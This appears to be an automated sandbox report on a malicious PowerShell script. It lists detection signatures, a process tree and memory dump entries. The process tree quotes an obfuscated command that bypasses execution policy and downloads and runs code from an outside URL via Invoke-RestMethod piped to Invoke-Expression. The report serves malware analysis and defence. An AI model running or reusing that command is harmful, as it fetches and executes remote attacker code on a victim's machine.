Analysis
- max time kernel
149s - max time network
32s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/09/2026, 12:19
General
- Target af07382d-dd95-4f5a-8848-6c006579068c.ps1
- Size 204KB
- Sample260930-phj7saeh42
- SHA256 6a9e4150868ecbff334b4665d3e888396e5e2a5c67aa78cd0b62e1883bd17521
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\af07382d-dd95-4f5a-8848-6c006579068c.ps11⤵
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) 'https://brambly.world/1C3B-E9-5046-641c-dAeB-420-Fd' | & (gcm i*x)"2⤵
- Badlisted process makes network request
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
__PSScriptPolicyTest_hpvhy3jp.t0i.ps1
memory/4156-45-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-49-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-7-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-8-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-9-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-10-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-11-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-12-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-46-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-14-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-15-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-20-0x000002353ABC0000-0x000002353AC72000-memory.dmp
memory/4156-21-0x000002353A950000-0x000002353A95A000-memory.dmp
memory/4156-19-0x000002353A930000-0x000002353A94E000-memory.dmp
memory/4156-22-0x000002353A980000-0x000002353A99E000-memory.dmp
memory/4156-16-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-23-0x000002353A960000-0x000002353A96A000-memory.dmp
memory/4156-24-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-25-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-26-0x000002353AEF0000-0x000002353AF0C000-memory.dmp
memory/4156-27-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-28-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-30-0x000002353A9A0000-0x000002353A9A6000-memory.dmp
memory/4156-31-0x000002353AED0000-0x000002353AEDA000-memory.dmp
memory/4156-29-0x000002353A970000-0x000002353A978000-memory.dmp
memory/4156-48-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-33-0x000002353A970000-0x000002353A994000-memory.dmp
memory/4156-35-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-38-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-40-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-43-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-42-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-44-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-0-0x00007FFCC502F000-0x00007FFCC5030000-memory.dmp
memory/4156-13-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-6-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-32-0x000002353A970000-0x000002353A99A000-memory.dmp
memory/4156-47-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-51-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-56-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-3-0x000002353A770000-0x000002353A792000-memory.dmp
memory/4156-59-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-4-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4156-5-0x00007FFCC4EA0000-0x00007FFCC5844000-memory.dmp
memory/4288-65-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/4288-81-0x0000000007610000-0x0000000007620000-memory.dmp
memory/4288-54-0x0000000005660000-0x00000000056C6000-memory.dmp
memory/4288-39-0x00000000057A0000-0x0000000005DEA000-memory.dmp
memory/4288-71-0x0000000007230000-0x0000000007250000-memory.dmp
memory/4288-37-0x00000000029F0000-0x0000000002A26000-memory.dmp
memory/4288-62-0x00000000064C0000-0x000000000650C000-memory.dmp
memory/4288-63-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/4288-61-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/4288-60-0x0000000005F00000-0x0000000005F1E000-memory.dmp
memory/4288-36-0x0000000074942000-0x0000000074943000-memory.dmp
memory/4288-66-0x0000000006840000-0x0000000006876000-memory.dmp
memory/4288-57-0x0000000005F30000-0x000000000628B000-memory.dmp
memory/4288-70-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/4288-50-0x0000000005490000-0x00000000054B2000-memory.dmp
memory/4288-72-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/4288-67-0x0000000070B80000-0x0000000070BCC000-memory.dmp
memory/4288-74-0x0000000007650000-0x00000000076E6000-memory.dmp
memory/4288-73-0x0000000007500000-0x00000000075A3000-memory.dmp
memory/4288-78-0x00000000075B0000-0x00000000075C1000-memory.dmp
memory/4288-77-0x0000000074930000-0x00000000750EC000-memory.dmp
memory/4288-84-0x0000000007840000-0x0000000007855000-memory.dmp
memory/4288-87-0x00000000078C0000-0x00000000078DC000-memory.dmp
memory/4288-55-0x00000000056D0000-0x0000000005736000-memory.dmp
memory/4288-92-0x0000000007960000-0x000000000797A000-memory.dmp
memory/4288-91-0x0000000007F80000-0x00000000085FC000-memory.dmp
memory/4288-90-0x0000000007910000-0x0000000007918000-memory.dmp
memory/4288-94-0x0000000074930000-0x00000000750EC000-memory.dmp